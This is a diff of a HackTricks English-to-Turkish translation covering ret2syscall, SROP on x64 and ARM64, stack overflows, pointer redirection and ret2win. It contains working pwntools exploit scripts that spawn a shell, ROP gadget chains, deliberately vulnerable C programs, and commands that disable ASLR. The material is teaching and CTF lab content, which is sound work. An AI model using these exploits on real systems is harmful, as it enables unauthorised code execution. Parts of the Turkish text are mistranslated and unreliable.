**syscall** çağrısını hazırlamak için aşağıdaki yapılandırma gereklidir:
In order to prepare the call for the **syscall** it's needed the following configuration:
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
- `x8: 221 sys_execve'yi belirt`
- `x0: "/bin/sh" dosyasını çalıştırmak için işaretçi`
- `x1: 0 argüman geçilmediğini belirt`
- `x2: 0 ortam değişkeni geçilmediğini belirt`
ROPgadget.py kullanarak makinenin libc kütüphanesinde aşağıdaki gadget'ları bulabildim:
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
Önceki gadget'lerle, yığın üzerinden gerekli tüm kayıtları kontrol edebiliriz ve syscall çağrısı yapmak için x5'i ikinci gadget'a atlamak üzere kullanabiliriz.
> [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
> libc kütüphanesinden bu bilgiyi bilmenin ayrıca bir ret2libc saldırısı yapmaya da olanak tanıdığını unutmayın, ancak bunu mevcut örnek için kullanalım.
### Exploit
```python
from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

40
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
View File

@ -2,25 +2,24 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
**`Sigreturn`**, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir **syscall**'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir **sinyal işleyici** kullanır.
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler.
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir.
> [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
> Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığına** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** sağlar.
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
Bu durumun, diğer Ret2syscall'ları çağırmak için parametreleri kontrol etmeyi çok daha kolay hale getiren bir **Ret2syscall türü** olduğunu unutmayın:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
Eğer merak ediyorsanız, bu daha sonra değerleri geri almak için yığında saklanan **sigcontext yapısı**dır (şeması [**buradan**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
For a better explanation check also:
Daha iyi bir açıklama için ayrıca kontrol edin:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
## Örnek
[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) burada signeturn çağrısı ROP aracılığıyla oluşturulmuştur (rxa'ya `0xf` değeri konulmuştur), ancak buradan itibaren bu son istismar:
```python
from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
Ayrıca, ikili dosyanın zaten `sigreturn` çağırdığı ve bu nedenle bunun bir **ROP** ile inşa edilmesine gerek olmadığı [**buradan istismar edin**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) kısmını kontrol edin:
```python
from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Other Examples & References
## Diğer Örnekler ve Referanslar
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak ve ikilinin belleğinde bulunan bayrağı okumak mümkündür.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
- **Yığıta yazma** ve ardından **`sigreturn`** syscall'ini çağırma imkanı veren bir Assembly ikili dosyası. Yığıta bir [**ret2syscall**](../rop-syscall-execv/) yazmak mümkündür (ikili dosya `/bin/sh` dizesine sahiptir).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
- 64 bit, relro yok, canary yok, nx, pie yok. `gets` fonksiyonunu kötüye kullanan basit bir buffer overflow, [**ret2syscall**](../rop-syscall-execv/) gerçekleştiren gadget eksikliği ile. ROP zinciri, `.bss`'ye `/bin/sh` yazarak tekrar gets'i çağırır, **`alarm`** fonksiyonunu kullanarak eax'ı `0xf` olarak ayarlayıp bir **SROP** çağırır ve bir shell çalıştırır.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- 64 bit assembly programı, relro yok, canary yok, nx, pie yok. Akış, yığıta yazma, birkaç kaydı kontrol etme ve bir syscall çağırma imkanı verir ve ardından `exit` çağrılır. Seçilen syscall, kayıtları ayarlayacak ve `eip`'yi önceki syscall talimatını çağırmak için hareket ettirecek bir `sigreturn`'dır ve ikili alanı `rwx` olarak ayarlamak için `memprotect` çağırır ve ESP'yi ikili alanda ayarlar. Akışı takip ederek, program ESP'ye tekrar okuma yapacak, ancak bu durumda ESP bir sonraki talimata işaret edecektir, böylece bir shellcode geçişi, onu bir sonraki talimat olarak yazacak ve çalıştıracaktır.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
- SROP, bir shellcode'un yerleştirildiği yere yürütme ayrıcalıkları (memprotect) vermek için kullanılır.
{{#include ../../../banners/hacktricks-training.md}}

80
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools example
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
## Pwntools örneği
Bu örnek, savunmasız ikili dosyayı oluşturmakta ve bunu istismar etmektedir. İkili dosya **yığına okuma yapar** ve ardından **`sigreturn`** çağrısı yapar:
```python
from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## bof örneği
## bof example
### Code
### Kod
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
char* b = gen_stack();
do_stuff(2);
return 0;
}
```
Compile it with:
Bunu ile derleyin:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
Sömürü, **`sigreturn`** çağrısına geri dönmek ve yığını **`execve`** çağrısı için `/bin/sh`'ye bir işaretçi ile hazırlamak için bof'u kullanır.
```python
from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## sigreturn olmadan bof örneği
## bof example without sigreturn
### Code
### Kod
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
char* b = gen_stack();
return 0;
}
```
## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
**`vdso`** bölümünde **`sigreturn`** çağrısının **`0x7b0`** ofsetinde bulunması mümkündür:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
Bu nedenle, eğer sızdırılmışsa, **bu adresi `sigreturn` erişimi için kullanmak mümkündür** eğer ikili dosya bunu yüklemiyorsa:
```python
from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
For more info about vdso check:
vdso hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../ret2vdso.md
{{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
Ve `/bin/sh` adresini atlatmak için, ona işaret eden birkaç ortam değişkeni oluşturabilirsiniz, daha fazla bilgi için:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/

64
src/binary-exploitation/stack-overflow/README.md
View File

@ -2,37 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
## What is a Stack Overflow
## Stack Overflow Nedir
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**.
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalamasından** kaynaklanır, bu nedenle yığının diğer kısımlarını üzerine yazma yeteneğine sahip olur.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
For example, the following functions could be vulnerable:
Bu tür güvenlik açıklarına sahip bazı yaygın fonksiyonlar: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir.
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Stack Overflow ofsetlerini Bulma
### Finding Stack Overflows offsets
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin** tam olarak bir kez **bitişik bir alt dizi olarak göründüğü** **döngüsel bir dizidir.**
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür.
Bunun için **pwntools** kullanmak mümkündür:
```python
from pwn import *
@ -44,58 +41,55 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
or **GEF**:
ve **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Yığın Taşmalarını Sömürme
## Exploiting Stack Overflows
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilen **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
Ancak, diğer senaryolarda sadece **yığındaki bazı değişken değerlerini üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında).
### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
Bu tür CTF zorluklarında, ikili dosya içinde **asla çağrılmayan** bir **fonksiyon** vardır ve **kazanmak için bu fonksiyonu çağırmanız gerekir**. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır), böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
{{#ref}}
ret2win/
{{#endref}}
### Stack Shellcode
### Yığın Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Bu senaryoda, saldırgan yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... techniques
### ROP & Ret2... teknikleri
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçevedir: **Çalıştırılamaz yığın (NX)**. Ve mevcut talimatları istismar ederek rastgele komutlar çalıştıracak birkaç başka tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Heap Overflows
## Yığın Taşmaları
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de olabilir:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Types of protections
## Koruma Türleri
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
{{#ref}}
../common-binary-protections-and-bypasses/

12
src/binary-exploitation/stack-overflow/pointer-redirecting.md
View File

@ -4,21 +4,21 @@
## String pointers
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
Eğer bir fonksiyon çağrısı, yığında bulunan bir stringin adresini kullanacaksa, buffer overflow'u **bu adresi üzerine yazmak** ve **binaries içindeki farklı bir stringin adresini** koymak için kötüye kullanılabilir.
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
Örneğin, bir **`system`** fonksiyon çağrısı **bir komutu çalıştırmak için bir stringin adresini kullanacaksa**, bir saldırgan **yığında farklı bir stringin adresini**, **`export PATH=.:$PATH`** yerleştirebilir ve mevcut dizinde **yeni stringin ilk harfi ile aynı isme sahip bir script oluşturabilir** çünkü bu binary tarafından çalıştırılacaktır.
You can find an **example** of this in:
Bunun bir **örneğini** şurada bulabilirsiniz:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts`
- 32bit, yığında adresi değiştirerek flag stringini `puts` ile yazdırın
## Function pointers
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
String pointer ile aynı ancak fonksiyonlara uygulanır, eğer **stack bir fonksiyonun adresini** içeriyorsa ve bu çağrılacaksa, **değiştirmek mümkündür** (örneğin **`system`** çağırmak için).
You can find an example in:
Bir örneği şurada bulabilirsiniz:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)

80
src/binary-exploitation/stack-overflow/ret2win/README.md
View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
**Ret2win** zorlukları, özellikle **binary exploitation** ile ilgili görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyadaki bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığındaki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler:
### C Example
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
### C Örneği
Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız bir `win` fonksiyonunu düşünün:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
Bu programı yığın korumaları olmadan ve **ASLR** devre dışı bırakılmış olarak derlemek için aşağıdaki komutu kullanabilirsiniz:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF zorluklarında yaygındır).
- `-fno-stack-protector`: Yığın taşmalarına karşı korumaları devre dışı bırak.
- `-z execstack`: Yığında kodun çalışmasına izin ver.
- `-no-pie`: `win` fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız Yürütülebilir'i devre dışı bırak.
- `-o vulnerable`: Çıktı dosyasının adını `vulnerable` olarak belirle.
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.
### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
### Pwntools Kullanarak Python Exploit
Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir ve exploit yazmak için kullanılır. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile yazmak için bir yük oluşturacaktır.
```python
from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
`win` fonksiyonunun adresini bulmak için **gdb**, **objdump** veya ikili dosyaları incelemenizi sağlayan başka bir araç kullanabilirsiniz. Örneğin, `objdump` ile şunu kullanabilirsiniz:
```sh
objdump -d vulnerable | grep win
```
Bu komut, `win` fonksiyonunun montajını, başlangıç adresi de dahil olmak üzere gösterecektir.&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20;
Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşıran ve yığın üzerindeki dönüş adresini `win` adresi ile değiştiren dikkatlice hazırlanmış bir mesaj gönderir. `vulnerable_function` döndüğünde, `main`'e veya çıkışa dönmek yerine `win`'e atlar ve mesaj yazdırılır.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
## Koruma Önlemleri
## Protections
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Üste Binen** bir işlem yapabilirsiniz. ASLR'nin çalışma şekli nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) vardır.
- [**Yığın Kanalları**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır, aksi takdirde tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.
